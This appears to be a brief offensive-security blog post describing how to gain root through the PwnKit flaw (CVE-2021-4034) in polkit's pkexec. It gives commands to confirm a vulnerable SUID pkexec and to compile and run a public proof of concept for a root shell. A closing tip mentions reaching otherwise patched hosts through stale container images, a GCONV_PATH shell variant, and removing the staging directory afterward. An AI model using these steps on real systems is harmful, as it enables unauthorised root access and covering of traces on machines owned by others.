Root via pkexec argument confusion (PwnKit)

Aug 20, 2026 · 1 min read

CVE-2021-4034 abuses pkexec reading argv with an out-of-bounds index when called with zero arguments, letting an attacker-controlled environment variable be reintroduced and executed as root. It affects most distributions shipped before early 2022.

bash

# confirm the SUID pkexec and polkit version first
ls -l $(which pkexec)   # -rwsr-xr-x root root
pkexec --version

If the SUID bit is present and polkit is unpatched, a public single-file exploit drops a root shell.

bash

# compile and run the well-known PoC in the current session
gcc pwnkit.c -o pk && ./pk   # id -> uid=0(root)

Pro note: even patched systems can be reached if a vulnerable pkexec lingers in a container image or an old chroot. Where you cannot compile on-host, use the pure-shell variant that stages the payload with GCONV_PATH; clean up the temporary gconv module directory afterward.